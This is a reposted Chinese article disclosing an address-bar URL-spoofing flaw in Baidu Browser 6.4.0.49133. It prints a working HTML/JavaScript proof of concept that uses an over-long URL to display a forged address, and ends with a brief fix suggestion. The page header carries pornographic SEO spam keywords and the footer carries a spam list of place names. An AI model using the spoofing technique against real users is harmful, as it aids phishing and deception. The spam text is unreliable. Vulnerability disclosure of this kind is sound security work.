国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 課堂 > 瀏覽器 > 正文

瀏覽器漏洞 百度瀏覽器6.4.0.49133 偽造任意網址

2020-05-31 12:02:09
字體:
來源:轉載
供稿:網友

  百度瀏覽器近期發現漏洞,百度瀏覽器6.4.0.49133以及以前版本偽造任意網址漏洞,偽造任意協議(http/https/ftp...)、域名、網址URL長度大于4KB時處理出錯,例如將證明文件保存為c:/a.htm并打開,點擊連接后可以偽造任意網址。

  同時URL過長的時候,會顯示“已收藏”圖標,估計是處理過長url時邏輯有點小問題漏洞證明:


復制代碼
代碼如下:
  <html>
  <div id='c' style=''> //displaynone
  ss
  </div>
  <a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript:1;','newwin');">just click me</a>
  <script>
  function invokePoC() {
  wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
  }
  if(window.name == "newwin")
  {
  document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
  document.getElementById('v').style.display = 'none';}
  </script>
  </html>

  修復方案:

  無效URL及時過濾,以防止偽造網址,謝謝閱讀,希望能幫到大家,請繼續關注武林網,我們會努力分享更多優秀的文章。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 威海市| 班戈县| 龙里县| 宁明县| 临桂县| 永川市| 澄迈县| 富川| 舞阳县| 苏州市| 琼海市| 陵水| 丰都县| 团风县| 民勤县| 清苑县| 修武县| 安阳市| 南昌县| 宁南县| 通海县| 清水县| 广安市| 吉安县| 嵩明县| 平湖市| 和田县| 新蔡县| 云龙县| 徐水县| 宜阳县| 饶平县| 五寨县| 潼关县| 雷山县| 潼关县| 桑植县| 顺义区| 南溪县| 阿尔山市| 通道|